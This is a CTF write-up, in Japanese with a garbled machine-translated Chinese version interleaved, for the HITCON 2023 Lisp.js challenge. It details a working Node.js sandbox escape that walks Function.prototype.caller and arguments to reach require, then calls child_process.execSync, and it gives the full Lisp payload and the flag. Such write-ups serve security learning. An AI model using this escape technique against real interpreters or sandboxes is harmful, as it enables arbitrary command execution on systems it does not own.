HITCON CTF 2023 Quals writeup

WriteUp 7个月前 admin
185 0 0

9/8 – 9/10という日程で開催された。TokyoWesternsと出て9位。Webが0完というのは大変くやしいし、決勝圏内である7位以内にはあと1問が解ければ入れるという状況だったことも手伝ってつらい。特にLogin SystemはNimのコードをじっくり読んでいたにもかかわらずHTTP Request Smugglingに気づけなかったというのがくやしい。くやしい、くやしい~*1! maple3142さんが作問された問題についてはすでにもろもろの情報が公開されている。添付ファイル等もそちらを参照のこと。
它于9/8至9/10举行。 东京西部片出场,排名第9。 网络得分为 0 是非常困难的,如果我们必须再解决一个问题,我们也很难帮助我们进入前 7 名,也就是在最后的区域。 特别是,登录系统没有注意到HTTP请求走私,即使它一直在仔细阅读Nim的代码。 沉闷,沉闷~*1! 关于maple3142被问到的问题,已经发表了很多信息。 有关附件,请参阅该附件。


[Misc 342] Lisp.js (9 solves)
[杂项 342] Lisp.js(9 解)

A brand new Lisp interpreter implemented in JavaScript!
一个用JavaScript实现的全新Lisp解释器!

(問題サーバへの接続情報) (与问题服务器的连接信息)

添付ファイル: lispjs-dist-0ce6082c58c5bb17853c269ebb6bacb7e0854beb.tar.gz
附件: lispjs-dist-0ce6082c58c5bb17853c269ebb6bacb7e0854beb.tar.gz

JavaScriptで機能に制限のあるLispインタプリタを作ったので、なんとかしてこの「サンドボックス」的なものから脱出しろという問題。以下のDockerfileを見るとわかるが、readflag というバイナリを実行することがゴールとなる。readflag はフラグを出力するだけのバイナリだ。
由于我在 JavaScript 中创建了一个功能有限的 Lisp 解释器,因此问题在于以某种方式摆脱了这个“沙箱”的东西。 从下面的 Dockerfile 中可以看出,目标是执行名为 的二进制文件 readflag 。 readflag 只是一个输出标志的二进制文件。

pwn.red/jail というイメージはGitHubの redpwn/jail にある。redpwn製のいい感じにjailを作れる便利なやつで、/srv/app/run に配置されている実行ファイルがエントリーポイントとなる。
pwn.red/jail 该图像位于 redpwn/jail GitHub 上。 这是一个方便的家伙,可以做一个由redpwn制作的漂亮监狱,放入 /srv/app/run 的可执行文件是入口点。

FROM node:20-alpine AS app

WORKDIR /app
COPY src/ .

FROM pwn.red/jail
COPY --from=app / /srv
COPY ./src/run.sh /srv/app/run
COPY ./readflag /srv/app/readflag
RUN chmod 111 /srv/app/readflag
ENV JAIL_MEM=64M JAIL_PIDS=20 JAIL_TMP_SIZE=1M

エントリーポイントである run.sh は次の通り。Lispコードを入力すると適当な一時ファイルに保存し、main.js にそのパスを渡し実行する。Node.jsには --disallow-code-generation-from-strings と --disable-proto=delete。という2つのオプションが付与されているけれども、これらはどういうものだろうか。
入口点是 run.sh : 输入 Lisp 代码后,它被保存在适当的临时文件中并传递以执行 main.js 。 节点.js 和 --disallow-code-generation-from-strings --disable-proto=delete . 有两种选择,但这些是什么?

#!/bin/sh
export PATH="$PATH:/usr/local/bin"
tmpfile="$(mktemp /tmp/lisp-input.XXXXXX)"
echo "Welcome to Lisp.js v0.1.0!"
echo "Input your Lisp code below and I will run it."
while true; do
  printf "> "
  read -r line
  if [ "$line" = "" ]; then
    break
  fi
  echo "$line" >> "$tmpfile"
done
node --disallow-code-generation-from-strings --disable-proto=delete main.js "$tmpfile"
rm "$tmpfile"

まず --disallow-code-generation-from-strings だけれども、Node.jsのドキュメントを見ると eval や new Function などによる、文字列からのコード生成を抑制するオプションであるとわかる。適当にこのオプションを付けて eval を実行してみると、こんな感じで確かに eval の呼び出し時に EvalError という例外が発生していることがわかる。
首先, --disallow-code-generation-from-strings 如果您查看 Node.js 文档,您会发现它是一个选项, eval 用于禁止从 和 的 new Function 字符串生成代码。 如果您 eval 尝试使用此选项适当地执行,您可以看到在像这样调用 eval 时确实存在异常 EvalError 。

この手のJSサンドボックス問は (123).constructor.constructor で Function にアクセスし、Function('console.log(123)')() のようにして任意のJSコードの実行に持ち込むというのが定石というか、もっとも楽な方法なので、それが潰されてしまうのはちょっとつらい。そういうわけで、それ以外の方法でモジュールのインポート方式がCommonJSであれば process.mainModule を、ES Modulesであれば process.binding などにアクセスして呼びたいと考える。そのためのプロパティへのアクセスの方法が重要になる。
这种 JS 沙箱问题在 中 Function 是访问 (123).constructor.constructor 的,并且是将其带入任意 JS 代码 Function('console.log(123)')() 执行的最简单方法,例如 ,因此将其粉碎有点痛苦。 因此,如果模块的导入方法是 CommonJS process.mainModule ,如果是 ES 模块 process.binding 等,则被访问和调用。 为此,访问财产的方法很重要。

$ docker run --rm -it node:20-alpine --disallow-code-generation-from-strings -e 'eval("123")'
[eval]:1
eval("123")
^

EvalError: Code generation from strings disallowed for this context
    at [eval]:1:1
    at Script.runInThisContext (node:vm:122:12)
    at Object.runInThisContext (node:vm:298:38)
    at node:internal/process/execution:83:21
    at [eval]-wrapper:6:24
    at runScript (node:internal/process/execution:82:62)
    at evalScript (node:internal/process/execution:104:10)
    at node:internal/main/eval_string:50:3

Node.js v20.6.1

--disable-proto は __proto__ の利用を制限するオプションだ。オプションの値として delete が指定されており、__proto__ の存在が完全に抹消されていることがわかる*2。ただ、obj.constructor.prototype で代替できるのでいまいちこのオプションの意味を感じない。obj[prop1][prop2] のように2段以上オブジェクトのプロパティをさかのぼれないというのなら別だけれども。
--disable-proto 是限制 __proto__ 使用 的选项。 的值被指定为选项,表示 __proto__ 的存在被 delete 完全擦除 *2。 但是,我不觉得这个选项的意义,因为它可以替换为 obj.constructor.prototype . obj[prop1][prop2] 除非无法像这样跟踪对象的属性超过两个步骤。

main.js は次の通り。一時ファイル経由で飛んできたLispコードを runtime.js の lispEval に渡している。
main.js 它们如下。 通过临时文件传入的 Lisp 代码被传递给 lispEval runtime.js 。

const { lispEval } = require('./runtime')
const fs = require('fs')

const code = fs.readFileSync(process.argv[2], 'utf-8')
console.log(lispEval(code))

runtime.js は次の通り。長いのでところどころ省略している。すべてを見たい場合にはmaple3142さんが上げているコードを確認のこと。lispEval の第1引数はコードだけれども、別途第2引数としてスコープを指定することもできる。このスコープというのは序盤で定義されている Scope のインスタンスであり、+ や print といったシンボルを解決するために使われる。
runtime.js 它们如下。 由于它很长,因此在某些地方被省略了。 如果您想查看所有内容,请检查 maple3142 提出的代码。 lispEval 第一个参数是代码,但您可以将范围指定为单独的第二个参数。 此作用域是早期定义的实例 Scope ,用于解析符号 print ,如 + 和 。

main.js では第2引数が指定されていなかったため、デフォルト引数として basicScope で生成されるスコープが使われる。basicScope では +-ifletfun といった基本的な関数が定義されている。ややJSっぽいなと感じる関数として sliceobjectkeys, そして . がある。前の3つはリストやJSのオブジェクトを加工するための関数で、それぞれリストのスライス、リストからオブジェクトへの Object.fromEntries を使った変換、そしてオブジェクトに含まれるキー一覧の取得ができる。. はオブジェクトのプロパティを取得できる便利な関数だ。
main.js 由于未指定第二个参数,因此 basicScope 生成的范围将用作默认参数。 basicScope 定义基本函数,如 、 、 、 、 、 if let fun + - 。 有些函数 slice object keys 我觉得有点像JS,和。 . 前三个函数用于处理列表和 JS 对象,每个函数都允许您对列表进行切片,从列表 Object.fromEntries 转换为对象,以及获取对象中包含的键列表。 . 是一个有用的函数,允许您获取对象的属性。

basicScope 以外にも extendedScope というものがあり、これは basicScope に含まれる基本的な関数のほか、ArrayDateMath といったJSのオブジェクトなどなど、便利な関数を追加してくれる。しかしながら、extendedScope はデフォルトでは使えない。
basicScope extendedScope 除了 中包含的基本函数外,它还添加了有用的函数 basicScope ,例如 JS 对象,例如 、 Array 、 Date 。 Math 但是, extendedScope 默认情况下不可用。

const { Tokenizer } = require('./tokenizer')
const { Parser, LispSymbol } = require('./parser')

class LispRuntimeError extends Error {
    constructor(message) {
        super(message)
        this.name = 'LispRuntimeError'
    }
}
exports.LispRuntimeError = LispRuntimeError
class Scope {
    constructor(parent) {
        this.parent = parent
        this.table = Object.create(null)
    }
    get(name) {
        if (Object.prototype.hasOwnProperty.call(this.table, name)) {
            return this.table[name]
        } else if (this.parent) {
            return this.parent.get(name)
        }
    }
    set(name, value) {
        this.table[name] = value
    }
}
exports.Scope = Scope
function astToExpr(ast) {
    if (typeof ast === 'number') {
        return function _numberexpr() {
            return ast
        }
    } else if (typeof ast === 'string') {
        return function _stringexpr() {
            return ast
        }
    } else if (ast instanceof LispSymbol) {
        return function _symbolexpr(scope) {
            // pass null to get the symbol itself
            if (scope === null) return ast
            const r = scope.get(ast.name)
            if (typeof r === 'undefined') throw new LispRuntimeError(`Undefined symbol: ${ast.name}`)
            return r
        }
    } else if (Array.isArray(ast)) {
        return function _sexpr(scope) {
            // pass null to get the ast function call itself
            if (scope === null) return ast
            const fn = astToExpr(ast[0])(scope)
            if (typeof fn !== 'function') throw new LispRuntimeError(`Unable to call a non-function: ${fn}`)
            return fn(ast.slice(1).map(astToExpr), scope)
        }
    } else {
        throw new LispRuntimeError(`Unxpexted ast: ${ast}`)
    }
}
exports.astToExpr = astToExpr
function basicScope() {
    // we always use named function here for a better stack trace
    // otherwise you would see a lot of <anonymous> in the stack trace :(
    const scope = new Scope()
    scope.set('do', function _do(args, scope) {
        const newScope = new Scope(scope)
        let ret = null
        for (const e of args) {
            ret = e(newScope)
            newScope.set('_', ret)
        }
        return ret
    })
    scope.set('print', function _print(args, scope) {
        console.log(...args.map(e => e(scope)))
    })
    // (省略)
    scope.set('.', function _dot(name, scope) {
        const obj = name[0](scope)
        const prop = name[1](scope)
        const ret = obj[prop]
        if (typeof ret === 'undefined') {
            throw new LispRuntimeError(`Undefined property: ${prop}`)
        }
        return ret
    })
    // (省略)
    scope.set('slice', function _slice(args, scope) {
        if (args.length !== 3) throw new LispRuntimeError('slice expects 3 arguments')
        const list = args[0](scope)
        const start = args[1](scope)
        const end = args[2](scope)
        if (!Array.isArray(list)) throw new LispRuntimeError('slice expects a list as first argument')
        return list.slice(start, end)
    })
    scope.set('object', function _object(args, scope) {
        return Object.fromEntries(args.map(e => e(scope)))
    })
    scope.set('keys', function _keys(args, scope) {
        const obj = args[0](scope)
        return Object.keys(obj)
    })
    return scope
}
exports.basicScope = basicScope
function extendedScope() {
    // a runtime with all the basic functions, plus some more js interop functions
    const scope = basicScope()
    scope.set('Object', Object)
    scope.set('Array', Array)
    scope.set('String', String)
    // (省略)
}
exports.extendedScope = extendedScope
function lispEval(code, scope = basicScope()) {
    const tokens = Tokenizer.tokenize(code)
    const ast = Parser.parse(tokens)
    return astToExpr(ast)(scope)
}
exports.lispEval = lispEval

if (require.main === module) {
    // (省略。サンプルコード*2)
}

JSで作られた普通のLispインタプリタだ。文法や機能も . 関数やオブジェクトへの対応などJSっぽい雰囲気がある以外はごく普通だ。前述の通り readflag という実行ファイルを実行するのがこの問題のゴールであるから、なんとかしてこの「サンドボックス」を脱出し、たとえば child_process モジュールをインポートして execSync などを呼んだり、process.binding を呼んだりといったことをしたい。そのために、グローバルな this や process にアクセスしたいところだ。
这是一个用JS制作的普通Lisp解释器。 语法和函数也很正常,除了与 . 函数和对象的对应等类似JS的氛围。 由于此问题的目标是如上所述执行可执行文件 readflag ,因此我想以某种方式转义这个“沙箱”,例如,导入 child_process 模块并调用 process.binding 等 execSync 。 为此,您希望 process 访问全局 this 和 .

そういうわけで、なんとかやっていきたい。まず思いつくのは(以前SECCON CTFでよく似たシチュエーションの問題が出題され、そちらで使ったのもあり) Function.prototype.caller と Function.prototype.arguments だった。それぞれある関数の呼び出し時に、呼び出し元の関数や渡ってきた引数へアクセスできるプロパティだ。アクセスするには呼び出されている側の関数オブジェクトにアクセスする必要があるけれども、(シンボルの解決は実行時であるため)(let f (fun (x) (f))) のようにして自分自身にアクセスできるということが使える。次のようにして、. を使い Function.prototype.caller にアクセスできた。
这就是为什么我想为此做点什么。 首先想到的是( Function.prototype.arguments 之前SECCON CTF中存在类似情况的问题,我在那里使用了它)。 Function.prototype.caller 它是一个属性,允许访问调用函数和调用每个函数时传入的参数。 您可以使用需要访问被调用的函数对象来访问它的事实,但您可以像访问自己一样访问自己(因为符号解析是在运行时进行的)。 (let f (fun (x) (f))) . 我 Function.prototype.caller 能够通过以下方式访问:

$ nc localhost 1337
Welcome to Lisp.js v0.1.0!
Input your Lisp code below and I will run it.
> (do
  (let f (fun (x) (. f "caller")))
  (print (f 1)))> >
>
[Function: _sexpr]
undefined

次のようにして Function.prototype.arguments へのアクセスもできる。
您还可以 Function.prototype.arguments 按如下方式访问:

$ nc localhost 1337
Welcome to Lisp.js v0.1.0!
Input your Lisp code below and I will run it.
> (do
  (let f (fun (x) (. (. f "caller") "arguments")))
  (print > (f 1)))>
>
[Arguments] {
  '0': Scope {
    parent: Scope { parent: undefined, table: [Object: null prototype] },
    table: [Object: null prototype] {
      f: [Function: _runtimeDefinedFunction],
      _: undefined
    }
  }
}
undefined

caller を辿っていくといい感じに main.js まで戻ることができた。ここで arguments にアクセスすると require やモジュールが使えるはずだ。
caller 我能够回到 main.js 一种美好的感觉。 如果您 arguments 访问此处, require 您应该能够使用 和模块。

$ nc localhost 1337
Welcome to Lisp.js v0.1.0!
Input your Lisp code below and I will run it.
> (do
    (let x (fun ()
      (. (. (. (. (. (. (. x "caller") "caller") "caller") "caller") "caller") "caller") "caller")))
    (let res (x))
    (list res (+ "" res))
  )> > > > >
>
[
  [Function (anonymous)],
  'function (exports, require, module, __filename, __dirname) {\n' +
    "const { lispEval } = require('./runtime')\n" +
    "const fs = require('fs')\n" +
    '\n' +
    "const code = fs.readFileSync(process.argv[2], 'utf-8')\n" +
    'console.log(lispEval(code))\n' +
    '\n' +
    '}'
]

module.children で読み込まれたモジュール、つまり runtime.js でエクスポートされている関数などにもアクセスできる。これを使って以下のように extendedScope へアクセスし、呼び出すこともできた。
module.children 您还可以访问 中加载的模块,即由 导出 runtime.js 的函数。 它还可用于访问和调用 extendedScope ,如下所示:

(do
    (let get_require (fun ()
      (. (. (. (. (. (. (. (. (. get_require "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"1")))
    (let get_module (fun ()
      (. (. (. (. (. (. (. (. (. get_module "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"2")))
    (let require (get_require))
    (let module (get_module))
    (let extendedScope (. (. (. (. module "children") "0") "exports") "extendedScope"))
    (extendedScope)
  )

extendedScope で追加される関数には以下のようなものがある。basicScope や extendedScope で追加されている関数の定義を見るとわかるように、Lisp側で定義された関数はいずれも呼び出し時に第1引数として引数のリストが、第2引数として Scope オブジェクトが渡ってくる。そのため、実質的にLisp側からJS側の関数を呼び出す際には第1引数しかコントロールできないほか、第2引数が必要ない場合でも余計に Scope オブジェクトが渡ってしまう問題がある。
extendedScope 添加的功能包括: basicScope 从 extendedScope 和 中添加的函数的定义中可以看出,在 Lisp 端定义的任何函数在调用时都有一个参数列表作为第一个参数和一个 Scope 对象作为第二个参数。 因此,从 Lisp 端调用 JS 端函数时,只能控制第一个参数,即使不需要第二个参数,也存在传递额外 Scope 对象的问题。

j2l と l2j はいずれも読みづらいけれども、こういったLisp側とJS側での相互運用性をいい感じに解決してくれる関数だ。たとえば (let isArray (j2l (. Array "isArray"))) のように j2l を通すことで、Array.isArray(hoge) 相当のことをLisp側から (isArray hoge) でできるようになる。l2j はその逆で、JS側からLisp側の関数を呼び出しやすくする。.. も同様に、Lisp側からJS側の関数を呼び出しやすくする関数だ。
j2l l2j 并且都很难阅读,但它们很好地解决了 Lisp 和 JS 端之间的这种互操作性。 例如,通过 , (let isArray (j2l (. Array "isArray"))) 你可以从 Lisp j2l 端做很多 Array.isArray(hoge) (isArray hoge) 事情。 l2j 相反,它使得从JS端调用Lisp函数变得更加容易。 .. 类似地,它是一个函数,可以更轻松地从 Lisp 端调用 JS-端函数。

   scope.set('j2l', function _j2l(args, scope) {
        if (args.length !== 1) throw new LispRuntimeError('j2l expects 1 argument')
        const fn = args[0](scope)
        if (typeof fn !== 'function') throw new LispRuntimeError('j2l expects a function as argument')
        return function _wrapperForJSFunction(fnargs, callerScope) {
            return fn(...fnargs.map(e => e(callerScope)))
        }
    })
    scope.set('l2j', function _l2j(args, scope) {
        if (args.length !== 1) throw new LispRuntimeError('l2j expects 1 argument')
        const fn = args[0](scope)
        if (typeof fn !== 'function') throw new LispRuntimeError('l2j expects a function as argument')
        return function _wrapperForLispFunction(...args) {
            return fn(
                args.map(x => () => x),
                scope
            )
        }
    })
    scope.set('..', function _dot(args, scope) {
        const obj = args[0](scope)
        const prop = args[1](scope)
        let ret = obj[prop]
        if (typeof ret === 'undefined') {
            throw new LispRuntimeError(`Undefined property: ${prop}`)
        }
        if (typeof ret !== 'function') {
            throw new LispRuntimeError(`Property ${prop} is not a function`)
        }
        return Function.prototype.bind.call(ret, obj)
    })

これで材料は揃った。以下のようなことをするLispコードを組み立てたい。
现在食材已经准备好了。 我想构造像这样的事情的Lisp代码:

  • caller を辿り、main.js の require と module にアクセスする
    caller main.js 并 module 访问 require 和
  • 手に入れた module から runtime.js の extendedScope を手に入れ、呼び出す
    从你那里得到 runtime.js 它并打电话给它 extendedScope module
  • 追加された j2l と .. を使い、require('child_process').execSync('./readflag') 相当のことをする
    .. 使用添加 j2l 并做 require('child_process').execSync('./readflag') 体面的工作

出来上がったのが次のLispコードだ。 结果是以下 Lisp 代码:

(do
    (let get_module (fun ()
      (. (. (. (. (. (. (. (. (. get_module "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"2")))
    (let module (get_module))
    (let extendedScope (. (. (. (. module "children") "0") "exports") "extendedScope"))
    (let e (extendedScope))
    (let get_require (fun ()
      (. (. (. (. (. (. (. (. get_require "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")))
    (let .. (. (. e "table") ".."))
    (let j2l (. (. e "table") "j2l"))
    (let require_ (get_require))
    (let require (j2l (.. require_ "1")))
    (let child_process (require "child_process"))
    (let execSync (j2l (.. child_process "execSync")))
    (+ (execSync "./readflag") ""))

これを問題サーバに投げると、フラグが得られた。 当我把它扔到有问题的服务器时,我得到了一个标志。

$ (cat payload; echo) | nc chal-lispjs.chal.hitconctf.com 1337
Welcome to Lisp.js v0.1.0!
Input your Lisp code below and I will run it.
> > > > > > > > > > > > > > > > > hitcon{it_is_actually_a_node.js_jail_in_disguise!!}

そうやな。 哦,是的。

hitcon{it_is_actually_a_node.js_jail_in_disguise!!}

*1:才羽モモイ  *1:西场桃井

*2:なお、Denoはデフォルトでこのような挙動を示す
*2:Deno 默认的行为是这样的。

原文始发于HatenaBlog:HITCON CTF 2023 Quals writeup

版权声明:admin 发表于 2023年9月18日 上午8:41。
转载请注明:HITCON CTF 2023 Quals writeup | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...